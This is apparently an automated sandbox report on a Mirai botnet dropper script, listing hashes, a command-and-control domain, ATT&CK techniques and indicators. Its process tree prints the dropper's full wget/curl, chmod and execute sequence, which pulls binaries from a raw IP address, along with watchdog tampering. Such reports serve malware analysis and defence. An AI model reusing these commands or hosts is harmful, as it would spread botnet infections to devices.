mirai | e096bf51ba4bb7e4791166f7a35befb5a74b9ed2794f80ef7b913c6f16f7bd41

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
17/07/2026, 12:35

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General

Target
nz.sh
Size 1KB
Sample260717-psrdvaft2y
SHA256 e096bf51ba4bb7e4791166f7a35befb5a74b9ed2794f80ef7b913c6f16f7bd41
MD5 6ffc505835934d2c7022661649b9d24d
SHA1 641fa1adf2b663635bad2337806faeb3f8134698
SHA512 2a933a39df7ab30a7e358a1b73b0c86b66392d49b09769828d9c15a77a9c92851cb248f7825de72f949974ffa19e669aea19ed2fde60aefc8cdd2fa9d769f72c
TLSH
T1E12165C7110503301EA5D9E6BBBB445970D0D1DE54C3BF6BA8D8B8E9818EE187C42553
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

cgur743.freedynamicdns.org

Extracted

Family

mirai

cgur743.freedynamicdns.org

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1524	chmod
1530	chmod
1540	chmod
1550	chmod
1508	chmod
1518	chmod

Modifies Watchdog functionality 1 TTPs 6 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	nz.x86_64
File opened for modification	/dev/misc/watchdog	nz.x86_64
File opened for modification	/dev/watchdog	nz.x86
File opened for modification	/dev/misc/watchdog	nz.x86
File opened for modification	/dev/watchdog	nz.i686
File opened for modification	/dev/misc/watchdog	nz.i686

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 6 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	nz.x86_64
File opened for modification	/bin/watchdog	nz.x86_64
File opened for modification	/sbin/watchdog	nz.x86
File opened for modification	/bin/watchdog	nz.x86
File opened for modification	/sbin/watchdog	nz.i686
File opened for modification	/bin/watchdog	nz.i686

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/483/status	nz.i686
File opened for reading	/proc/732/status	nz.i686
File opened for reading	/proc/1186/status	nz.i686
File opened for reading	/proc/720/status	nz.x86
File opened for reading	/proc/1495/status	nz.x86
File opened for reading	/proc/1262/status	nz.x86_64
File opened for reading	/proc/1078/status	nz.x86_64
File opened for reading	/proc/78/status	nz.i686
File opened for reading	/proc/1024/status	nz.i686
File opened for reading	/proc/1491/status	nz.i686
File opened for reading	/proc/192/status	nz.x86
File opened for reading	/proc/2/status	nz.x86_64
File opened for reading	/proc/81/status	nz.x86
File opened for reading	/proc/1081/status	nz.x86
File opened for reading	/proc/183/status	nz.i686
File opened for reading	/proc/919/status	nz.x86
File opened for reading	/proc/1106/status	nz.x86
File opened for reading	/proc/933/status	nz.i686
File opened for reading	/proc/1106/status	nz.i686
File opened for reading	/proc/189/status	nz.x86
File opened for reading	/proc/191/status	nz.i686
File opened for reading	/proc/911/status	nz.i686
File opened for reading	/proc/368/status	nz.x86_64
File opened for reading	/proc/916/status	nz.x86_64
File opened for reading	/proc/535/status	nz.x86
File opened for reading	/proc/468/status	nz.x86_64
File opened for reading	/proc/958/status	nz.x86_64
File opened for reading	/proc/1155/status	nz.x86_64
File opened for reading	/proc/1491/status	nz.x86_64
File opened for reading	/proc/36/status	nz.x86
File opened for reading	/proc/1043/status	nz.x86
File opened for reading	/proc/25/status	nz.i686
File opened for reading	/proc/1056/status	nz.i686
File opened for reading	/proc/1101/status	nz.x86_64
File opened for reading	/proc/1275/status	nz.x86
File opened for reading	/proc/671/status	nz.i686
File opened for reading	/proc/23/status	nz.x86_64
File opened for reading	/proc/83/status	nz.x86
File opened for reading	/proc/566/status	nz.x86
File opened for reading	/proc/666/status	nz.x86
File opened for reading	/proc/10/status	nz.x86_64
File opened for reading	/proc/661/status	nz.x86_64
File opened for reading	/proc/221/status	nz.x86_64
File opened for reading	/proc/1265/status	nz.x86_64
File opened for reading	/proc/492/status	nz.x86
File opened for reading	/proc/115/status	nz.x86_64
File opened for reading	/proc/15/status	nz.x86
File opened for reading	/proc/8/status	nz.i686
File opened for reading	/proc/137/status	nz.i686
File opened for reading	/proc/196/status	nz.i686
File opened for reading	/proc/566/status	nz.i686
File opened for reading	/proc/80/status	nz.x86
File opened for reading	/proc/559/status	nz.x86
File opened for reading	/proc/194/status	nz.i686
File opened for reading	/proc/11/status	nz.x86_64
File opened for reading	/proc/18/status	nz.x86_64
File opened for reading	/proc/86/status	nz.x86_64
File opened for reading	/proc/98/status	nz.x86_64
File opened for reading	/proc/181/status	nz.x86_64
File opened for reading	/proc/1047/status	nz.i686
File opened for reading	/proc/1173/status	nz.i686
File opened for reading	/proc/13/status	nz.x86_64
File opened for reading	/proc/1099/status	nz.x86
File opened for reading	/proc/573/status	nz.x86

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1519	nz.mips
1521	rm
1516	wget
1517	curl

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nz.i686	curl
File opened for modification	/tmp/nz.mpsl	curl
File opened for modification	/tmp/nz.x86	curl
File opened for modification	/tmp/nz.mips	wget
File opened for modification	/tmp/nz.arc	curl
File opened for modification	/tmp/nz.i686	wget
File opened for modification	/tmp/nz.x86_64	wget
File opened for modification	/tmp/nz.x86_64	curl
File opened for modification	/tmp/nz.mpsl	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/nz.x86	wget
File opened for modification	/tmp/nz.mips	curl
File opened for modification	/tmp/nz.arc	wget

/tmp/nz.sh
/tmp/nz.sh
1⤵
PID:1495
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1496
- /usr/bin/wget
  wget http://41.216.189.236/nz/nz.x86
  2⤵
  - Writes file to tmp directory
  PID:1497
- /usr/bin/curl
  curl -O http://41.216.189.236/nz/nz.x86
  2⤵
  - Writes file to tmp directory
  PID:1502
- /bin/chmod
  chmod +x busybox config-err-gAJVxF netplan_ch9jph03 nz.sh nz.x86 snap-private-tmp ssh-NhEalY8gUwAJ systemd-private-5b39c4d5cc9e4e13984f31802c4def97-bolt.service-ss9UfZ systemd-private-5b39c4d5cc9e4e13984f31802c4def97-colord.service-cySQW7 systemd-private-5b39c4d5cc9e4e13984f31802c4def97-ModemManager.service-OYCneb systemd-private-5b39c4d5cc9e4e13984f31802c4def97-systemd-resolved.service-rU32ql systemd-private-5b39c4d5cc9e4e13984f31802c4def97-systemd-timedated.service-ZAYiiy
  2⤵
  - File and Directory Permissions Modification
  PID:1508
- /tmp/nz.x86
  ./nz.x86 nz.x86
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1509
- /bin/rm
  rm -rf nz.x86
  2⤵
  PID:1515
- /usr/bin/wget
  wget http://41.216.189.236/nz/nz.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1516
- /usr/bin/curl
  curl -O http://41.216.189.236/nz/nz.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod +x busybox config-err-gAJVxF netplan_ch9jph03 nz.mips nz.sh snap-private-tmp ssh-NhEalY8gUwAJ systemd-private-5b39c4d5cc9e4e13984f31802c4def97-bolt.service-ss9UfZ systemd-private-5b39c4d5cc9e4e13984f31802c4def97-colord.service-cySQW7 systemd-private-5b39c4d5cc9e4e13984f31802c4def97-ModemManager.service-OYCneb systemd-private-5b39c4d5cc9e4e13984f31802c4def97-systemd-resolved.service-rU32ql systemd-private-5b39c4d5cc9e4e13984f31802c4def97-systemd-timedated.service-ZAYiiy
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/nz.mips
  ./nz.mips nz.mips
  2⤵
  - System Network Configuration Discovery
  PID:1519
- /bin/rm
  rm -rf nz.mips
  2⤵
  - System Network Configuration Discovery
  PID:1521
- /usr/bin/wget
  wget http://41.216.189.236/nz/nz.arc
  2⤵
  - Writes file to tmp directory
  PID:1522
- /usr/bin/curl
  curl -O http://41.216.189.236/nz/nz.arc
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/chmod
  chmod +x busybox config-err-gAJVxF netplan_ch9jph03 nz.arc nz.sh snap-private-tmp ssh-NhEalY8gUwAJ systemd-private-5b39c4d5cc9e4e13984f31802c4def97-bolt.service-ss9UfZ systemd-private-5b39c4d5cc9e4e13984f31802c4def97-colord.service-cySQW7 systemd-private-5b39c4d5cc9e4e13984f31802c4def97-ModemManager.service-OYCneb systemd-private-5b39c4d5cc9e4e13984f31802c4def97-systemd-resolved.service-rU32ql systemd-private-5b39c4d5cc9e4e13984f31802c4def97-systemd-timedated.service-ZAYiiy
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /tmp/nz.arc
  ./nz.arc nz.arc
  2⤵
  PID:1525
- /bin/rm
  rm -rf nz.arc
  2⤵
  PID:1527
- /usr/bin/wget
  wget http://41.216.189.236/nz/nz.i686
  2⤵
  - Writes file to tmp directory
  PID:1528
- /usr/bin/curl
  curl -O http://41.216.189.236/nz/nz.i686
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod +x busybox config-err-gAJVxF netplan_ch9jph03 nz.i686 nz.sh snap-private-tmp ssh-NhEalY8gUwAJ systemd-private-5b39c4d5cc9e4e13984f31802c4def97-bolt.service-ss9UfZ systemd-private-5b39c4d5cc9e4e13984f31802c4def97-colord.service-cySQW7 systemd-private-5b39c4d5cc9e4e13984f31802c4def97-ModemManager.service-OYCneb systemd-private-5b39c4d5cc9e4e13984f31802c4def97-systemd-resolved.service-rU32ql systemd-private-5b39c4d5cc9e4e13984f31802c4def97-systemd-timedated.service-ZAYiiy
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/nz.i686
  ./nz.i686 nz.i686
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1531
- /bin/rm
  rm -rf nz.i686
  2⤵
  PID:1537
- /usr/bin/wget
  wget http://41.216.189.236/nz/nz.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1538
- /usr/bin/curl
  curl -O http://41.216.189.236/nz/nz.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1539
- /bin/chmod
  chmod +x busybox config-err-gAJVxF netplan_ch9jph03 nz.sh nz.x86_64 snap-private-tmp ssh-NhEalY8gUwAJ systemd-private-5b39c4d5cc9e4e13984f31802c4def97-bolt.service-ss9UfZ systemd-private-5b39c4d5cc9e4e13984f31802c4def97-colord.service-cySQW7 systemd-private-5b39c4d5cc9e4e13984f31802c4def97-ModemManager.service-OYCneb systemd-private-5b39c4d5cc9e4e13984f31802c4def97-systemd-resolved.service-rU32ql systemd-private-5b39c4d5cc9e4e13984f31802c4def97-systemd-timedated.service-ZAYiiy
  2⤵
  - File and Directory Permissions Modification
  PID:1540
- /tmp/nz.x86_64
  ./nz.x86_64 nz.x86_64
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1541
- /bin/rm
  rm -rf nz.x86_64
  2⤵
  PID:1547
- /usr/bin/wget
  wget http://41.216.189.236/nz/nz.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1548
- /usr/bin/curl
  curl -O http://41.216.189.236/nz/nz.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1549
- /bin/chmod
  chmod +x busybox config-err-gAJVxF netplan_ch9jph03 nz.mpsl nz.sh snap-private-tmp ssh-NhEalY8gUwAJ systemd-private-5b39c4d5cc9e4e13984f31802c4def97-bolt.service-ss9UfZ systemd-private-5b39c4d5cc9e4e13984f31802c4def97-colord.service-cySQW7 systemd-private-5b39c4d5cc9e4e13984f31802c4def97-ModemManager.service-OYCneb systemd-private-5b39c4d5cc9e4e13984f31802c4def97-systemd-resolved.service-rU32ql systemd-private-5b39c4d5cc9e4e13984f31802c4def97-systemd-timedated.service-ZAYiiy
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/nz.mpsl
  ./nz.mpsl nz.mpsl
  2⤵
  PID:1551
- /bin/rm
  rm -rf nz.mpsl
  2⤵
  PID:1553

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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busybox

Path /tmp/busybox
Size 2.0MB
SHA256 a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
MD5 b4dede5fc0b1bad5cb8e901bde126b97
SHA1 10cbe9a418ad84a1ed297948539d37aeb58dd810
SHA512 45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6
SSDEEP 49152:YfQ1HrHIYLrf2uxW2kx7gRHdITdHR8MonrH1NqCgkR:WYfFVdIpGxz1E
TLSH
T1D8A57C16B2E320FCC597C13043AFD7626D75B4AA12317E7F35849A312E56EA02B1DB63
MD5 SHA1 SHA512 SSDEEP TLSH

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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